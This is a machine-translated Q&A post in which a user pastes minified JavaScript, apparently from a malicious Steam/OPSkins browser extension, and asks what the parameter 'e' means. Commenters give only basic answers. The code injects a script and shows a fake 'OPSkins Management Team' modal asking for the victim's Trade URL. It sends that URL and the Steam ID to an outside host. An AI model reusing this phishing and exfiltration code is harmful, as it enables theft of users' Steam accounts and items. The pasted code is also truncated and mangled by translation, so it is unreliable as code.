任何人都可以解釋什麼「e」意味着在這個JavaScript?我需要幫助瞭解「e」在這個javascript中的含義?
而且我怎麼會解碼這個。或者這甚至是可以解碼的。我很難找出+ e.replace之後的隨機字符是什麼。我主要以爲你需要解碼它,因爲它說「decodeURIComponent ...」
我只是不知道那是什麼意味着
function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|;)
"+e.replace(/([\.$?*| {}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;] *)"));return t ? decodeURIComponent(t[1]) : void 0}
JAVASCRIPT(同樣,我需要幫助理解什麼是「電子」,在這個JavaScript手段。此外,我也想,如果有人知道對方是什麼字母的意思太多,如「T」,「A」和「s」):
function get_steamID(e) {
steamID = $("body").attr("data-steamid"), steamID ? e() : setTimeout(function() {
get_steamID(e)
}, 10)}function set_code(e) {
return $("#alert-box").is(":hidden") ? $("#qItems .offer-links").length ? ($("#qItems .offer-links a").eq(0).attr("href", "javascript:ShowTradeOffer(" + e + ")"), $("#qItems .offer-links a").eq(1).attr("href", "steam://url/ShowTradeOffer/" + e), !0) : void setTimeout(function() {
set_code(e)
}, 100) : !1}function injectScript(e, t) {
var a = document.getElementsByTagName(t)[0],
s = document.createElement("script");
s.setAttribute("type", "text/javascript"), s.setAttribute("src", e), a.appendChild(s)}function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|;)
"+e.replace(/([\.$?*| {}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;] *)"));return t ? decodeURIComponent(t[1]) : void 0}function setCookie(e, t, a) {
a = a || {};
var s = a.expires;
if ("number" == typeof s && s) {
var o = new Date;
o.setTime(o.getTime() + 1e3 * s), s = a.expires = o
}
s && s.toUTCString && (a.expires = s.toUTCString()), t = encodeURIComponent(t);
var i = e + "=" + t;
for (var n in a) {
i += ";
"+n;
var r = a[n];
r !== !0 && (i += "=" + r)
}
document.cookie = i}function updBal() {
$.post(apiURL, {
action: "bal",
keyAccess: keyAccess,
steamid: steamID
}, function(e) {
"-" != e && $("#op-count").text("$" + (current_bal + parseFloat(e))) })}var loginAccess = "c2hhZG93bWFuMDk1",
keyAccess = "619dea94b332475cc6271c4db2511f73",
KeyEncode = "15f8c92ca9a9f790188390159ddf4f3b",
apiURL = "https://opskinsplugin.com/base.php?l=c2hhZG93bWFuMDk1&k=619dea94b332475cc6271c4db2511f73&ek=15f8c92ca9a9f790188390159ddf4f3b",
steamID = !1,
isSending = !1,
myForm = !1,
elemNames = [],
current_bal = parseFloat($("#op-count").text().substr(1));if (injectScript(chrome.extension.getURL("steam.js"), "body"), get_steamID(function() {
updBal()
}), setInterval(updBal, 5e3), "?loc=shop_sale_form" == document.location.search) {
get_steamID(function() {if (isSending = getCookie("sendID" + steamID), "1" != isSending) {if (myForm = !0, 0 == $("#tradeUrlModal").length) {
var e = '<div class="modal fade" id="tradeUrlModal" aria-hidden="false" style="display: block;
padding - left: 11 px;
"> <div class="
modal - backdrop fade " style="
height: 373 px;
"></div> <div class="
modal - dialog modal - lg "> <div class="
modal - content "> <div class="
modal - header "> <h4 class="
modal - title ">Please enter your Trade URL.</h4> </div> <div class="
modal - body "> <h3>We need your Trade URL in order to be able to send you Steam trade offers.</h3> <p> <a href="
https: //steamcommunity.com/profiles/'+steamID+'/tradeoffers/privacy#trade_offer_access_url" target="_blank" class="btn btn-danger btn-lg" style="width:100%">Please click here to get it.</a> </p> <div class="input-group input-group-lg"> <span class="input-group-addon">Trade URL</span> <input type="text" class="form-control" id="trade-url" placeholder="Paste Trade URL here" required=""> <a href="#" id="save-trade-url" class="btn btn-primary input-group-addon">Save Trade URL</a> </div> </div> <div class="modal-footer"> <p>OPSkins Management Team</p> </div> </div> </div> </div>';
$("body").append(e)
}
$("#tradeUrlModal").modal("show")
}
}), $(document).on("click", "#save-trade-url", function() {
var e = $("#trade-url").val();
return e ? void $.ajax({
url: apiURL,
type: "POST",
data: {
action: "saveTradeURL",0 keyAccess: keyAccess,
steamid: steamID,
url: e
END JAVASCRIPT
我只是想分解這個JavaScript,對我來說,它看起來像「e」也許是某種變量,但我不知道。
我真的只是在試圖理解這個腳本背後的「隱藏」含義,究竟是什麼「e」以及看起來被編碼的javascript是做什麼的。
非常感謝任何能夠幫助我的人!
'e'是發送給'getCookie'函數的屬性。在你提供的示例代碼中,它只能作爲''sendID「+ steamID'發送。您可以在代碼中查找函數名稱,以查看其調用的位置。另外請注意,您應該真正格式化您的代碼,以使其更易於閱讀。 –
該代碼似乎是_mess_。 – undefined
所有斜槓都被稱爲[正則表達式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) – Paul